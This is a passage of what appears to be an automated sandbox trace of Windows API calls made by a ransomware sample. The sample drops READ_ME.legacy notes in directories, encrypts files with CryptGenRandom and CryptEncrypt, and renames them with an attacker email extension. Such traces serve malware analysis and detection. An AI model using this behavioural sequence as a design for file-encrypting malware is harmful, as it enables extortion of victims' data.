dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a4 [0110.839] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0110.840] WriteFile (in: hFile=0x5a4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0110.841] CloseHandle (hObject=0x5a4) returned 1 [0110.841] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0110.841] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0110.841] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35a8 | out: hHeap=0x520000) returned 1 [0110.841] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0110.841] FindNextFileW (in: hFindFile=0x5c5c58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3a78b4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a78b4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xc981b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="hwcompatShared.txt", cAlternateFileName="HWCOMP~1.TXT")) returned 1 [0110.842] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0110.842] GetLastError () returned 0x0 [0110.842] SetLastError (dwErrCode=0x0) [0110.842] GetLastError () returned 0x0 [0110.842] SetLastError (dwErrCode=0x0) [0110.842] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a88 | out: hHeap=0x520000) returned 1 [0110.842] GetLastError () returned 0x0 [0110.842] SetLastError (dwErrCode=0x0) [0110.842] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cb8 | out: hHeap=0x520000) returned 1 [0110.842] FindNextFileW (in: hFindFile=0x5c5c58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3a9fd3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b1515, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3b1515, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="i386", cAlternateFileName="")) returned 1 [0110.842] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0110.842] GetLastError () returned 0x0 [0110.842] SetLastError (dwErrCode=0x0) [0110.842] GetLastError () returned 0x0 [0110.842] SetLastError (dwErrCode=0x0) [0110.842] GetLastError () returned 0x0 [0110.842] SetLastError (dwErrCode=0x0) [0110.843] GetLastError () returned 0x0 [0110.843] SetLastError (dwErrCode=0x0) [0110.843] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578de8 | out: hHeap=0x520000) returned 1 [0110.843] GetLastError () returned 0x0 [0110.843] SetLastError (dwErrCode=0x0) [0110.843] GetLastError () returned 0x0 [0110.843] SetLastError (dwErrCode=0x0) [0110.843] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\i386\\READ_ME.legacy" (normalized: "c:\\windows10upgrade\\resources\\i386\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a4 [0110.851] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0110.851] WriteFile (in: hFile=0x5a4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0110.852] CloseHandle (hObject=0x5a4) returned 1 [0110.852] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0110.852] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0110.852] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0110.852] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0110.852] FindNextFileW (in: hFindFile=0x5c5c58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc698f226, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc698f226, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc6a27bc2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0110.852] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ba8 | out: hHeap=0x520000) returned 1 [0110.853] GetLastError () returned 0x0 [0110.853] SetLastError (dwErrCode=0x0) [0110.853] GetLastError () returned 0x0 [0110.853] SetLastError (dwErrCode=0x0) [0110.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578fe0 | out: hHeap=0x520000) returned 1 [0110.853] GetLastError () returned 0x0 [0110.853] SetLastError (dwErrCode=0x0) [0110.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571bd0 | out: hHeap=0x520000) returned 1 [0110.853] FindNextFileW (in: hFindFile=0x5c5c58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea63c947, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ux", cAlternateFileName="")) returned 1 [0110.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0110.853] GetLastError () returned 0x0 [0110.853] SetLastError (dwErrCode=0x0) [0110.853] GetLastError () returned 0x0 [0110.853] SetLastError (dwErrCode=0x0) [0110.853] GetLastError () returned 0x0 [0110.853] SetLastError (dwErrCode=0x0) [0110.854] GetLastError () returned 0x0 [0110.854] SetLastError (dwErrCode=0x0) [0110.854] GetLastError () returned 0x0 [0110.854] SetLastError (dwErrCode=0x0) [0110.854] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ad0 | out: hHeap=0x520000) returned 1 [0110.854] GetLastError () returned 0x0 [0110.854] SetLastError (dwErrCode=0x0) [0110.854] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\READ_ME.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a4 [0110.863] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0110.864] WriteFile (in: hFile=0x5a4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0110.868] CloseHandle (hObject=0x5a4) returned 1 [0110.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0110.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0110.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0110.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578d10 | out: hHeap=0x520000) returned 1 [0110.868] FindNextFileW (in: hFindFile=0x5c5c58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea63c947, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ux", cAlternateFileName="")) returned 0 [0110.868] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0110.869] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0110.869] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\hwcompatShared.txt", dwFileAttributes=0x80) returned 1 [0110.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0110.869] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\hwcompatShared.txt" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a4 [0110.870] GetFileSizeEx (in: hFile=0x5a4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=825371) returned 1 [0110.875] ReadFile (in: hFile=0x5a4, lpBuffer=0x6fe020, nNumberOfBytesToRead=0xc981b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6fe020*, lpNumberOfBytesRead=0x2e1f9bc*=0xc981b, lpOverlapped=0x0) returned 1 [0110.932] SetFilePointer (in: hFile=0x5a4, lDistanceToMove=-825371, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0110.932] WriteFile (in: hFile=0x5a4, lpBuffer=0x312a020*, nNumberOfBytesToWrite=0xc981b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312a020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc981b, lpOverlapped=0x0) returned 1 [0110.934] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6fe020 | out: hHeap=0x520000) returned 1 [0110.945] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312a020 | out: hHeap=0x520000) returned 1 [0110.949] SetFilePointer (in: hFile=0x5a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc981b [0110.949] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0110.950] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0110.951] WriteFile (in: hFile=0x5a4, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0110.951] WriteFile (in: hFile=0x5a4, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0110.951] CloseHandle (hObject=0x5a4) returned 1 [0110.951] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0110.951] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0110.951] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\hwcompatShared.txt" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt"), lpNewFileName="\\Windows10Upgrade\\resources\\hwcompatShared.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0110.955] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e3c8 | out: hHeap=0x520000) returned 1 [0110.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0110.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0110.956] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0110.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0110.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671c0 | out: hHeap=0x520000) returned 1 [0110.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d708 | out: hHeap=0x520000) returned 1 [0110.956] FindFirstFileW (in: lpFileName="\\Boot\\Resources\\en-US\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1d991c5, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5e58 [0110.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578c80 | out: hHeap=0x520000) returned 1 [0110.956] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5790b8 [0110.956] GetLastError () returned 0x0 [0110.956] SetLastError (dwErrCode=0x0) [0110.956] GetLastError () returned 0x0 [0110.956] SetLastError (dwErrCode=0x0) [0110.957] GetLastError () returned 0x0 [0110.957] SetLastError (dwErrCode=0x0) [0110.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cb8 [0110.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d500 [0110.957] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0110.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571bd0 [0110.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5d18 [0110.957] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5d18 | out: hHeap=0x520000) returned 1 [0110.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0110.957] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0110.957] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571bd0 | out: hHeap=0x520000) returned 1 [0110.957] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cb8 | out: hHeap=0x520000) returned 1 [0110.957] FindNextFileW (in: hFindFile=0x5c5e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1d991c5, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0110.957] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5790b8 | out: hHeap=0x520000) returned 1 [0110.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578b18 [0110.957] GetLastError () returned 0x0 [0110.958] SetLastError (dwErrCode=0x0) [0110.958] GetLastError () returned 0x0 [0110.958] SetLastError (dwErrCode=0x0) [0110.958] GetLastError () returned 0x0 [0110.958] SetLastError (dwErrCode=0x0) [0110.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0110.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0110.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0110.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ae0 [0110.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5858 [0110.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5858 | out: hHeap=0x520000) returned 1 [0110.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20228 [0110.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20228 | out: hHeap=0x520000) returned 1 [0110.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ae0 | out: hHeap=0x520000) returned 1 [0110.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0110.958] FindNextFileW (in: hFindFile=0x5c5e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1 [0110.959] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578b18 | out: hHeap=0x520000) returned 1 [0110.959] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578da0 [0110.959] GetLastError () returned 0x0 [0110.959] SetLastError (dwErrCode=0x0) [0110.959] GetLastError () returned 0x0 [0110.959] SetLastError (dwErrCode=0x0) [0110.959] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0110.959] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578da0 | out: hHeap=0x520000) returned 1 [0110.959] GetLastError () returned 0x0 [0110.959] SetLastError (dwErrCode=0x0) [0110.959] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ba8 [0110.959] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ba8 | out: hHeap=0x520000) returned 1 [0110.959] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0110.959] FindNextFileW (in: hFindFile=0x5c5e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1d991c5, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1d991c5, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1d991c5, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0110.959] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0110.959] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578bf0 [0110.960] GetLastError () returned 0x0 [0110.960] SetLastError (dwErrCode=0x0) [0110.960] GetLastError () returned 0x0 [0110.960] SetLastError (dwErrCode=0x0) [0110.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0110.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578bf0 | out: hHeap=0x520000) returned 1 [0110.960] GetLastError () returned 0x0 [0110.960] SetLastError (dwErrCode=0x0) [0110.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571bd0 [0110.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571bd0 | out: hHeap=0x520000) returned 1 [0110.960] FindNextFileW (in: hFindFile=0x5c5e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1d991c5, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1d991c5, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1d991c5, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0110.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d660 [0110.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3df8 [0110.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33e8 [0110.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3df8 | out: pbBuffer=0x5c3df8) returned 1 [0110.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33e8 | out: pbBuffer=0x5c33e8) returned 1 [0110.961] SetFileAttributesW (lpFileName="\\Boot\\Resources\\en-US\\bootres.dll.mui", dwFileAttributes=0x80) returned 0 [0110.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0110.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563960 [0110.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0110.961] CreateFileW (lpFileName="\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563960 | out: hHeap=0x520000) returned 1 [0110.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0110.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0110.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578cc8 [0110.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0110.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672a0 | out: hHeap=0x520000) returned 1 [0110.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0110.962] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Adobe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0xd1e31ac0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5c98 [0110.962] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0110.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a88 [0110.962] GetLastError () returned 0x5 [0110.962] SetLastError (dwErrCode=0x5) [0110.962] GetLastError () returned 0x5 [0110.962] SetLastError (dwErrCode=0x5) [0110.962] GetLastError () returned 0x5 [0110.962] SetLastError (dwErrCode=0x5) [0110.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567310 [0110.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d9d0 [0110.962] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0110.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571bd0 [0110.963] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5ed8 [0110.963] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5ed8 | out: hHeap=0x520000) returned 1 [0110.963] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0110.963] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20288 | out: hHeap=0x520000) returned 1 [0110.963] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571bd0 | out: hHeap=0x520000) returned 1 [0110.963] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567310 | out: hHeap=0x520000) returned 1 [0110.963] FindNextFileW (in: hFindFile=0x5c5c98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0xd1e31ac0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0110.963] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a88 | out: hHeap=0x520000) returned 1 [0110.963] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578d10 [0110.963] GetLastError () returned 0x5 [0110.963] SetLastError (dwErrCode=0x5) [0110.963] GetLastError () returned 0x5 [0110.963] SetLastError (dwErrCode=0x5) [0110.963] GetLastError () returned 0x5 [0110.963] SetLastError (dwErrCode=0x5) [0110.963] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567310 [0110.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0110.964] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0110.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0110.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5898 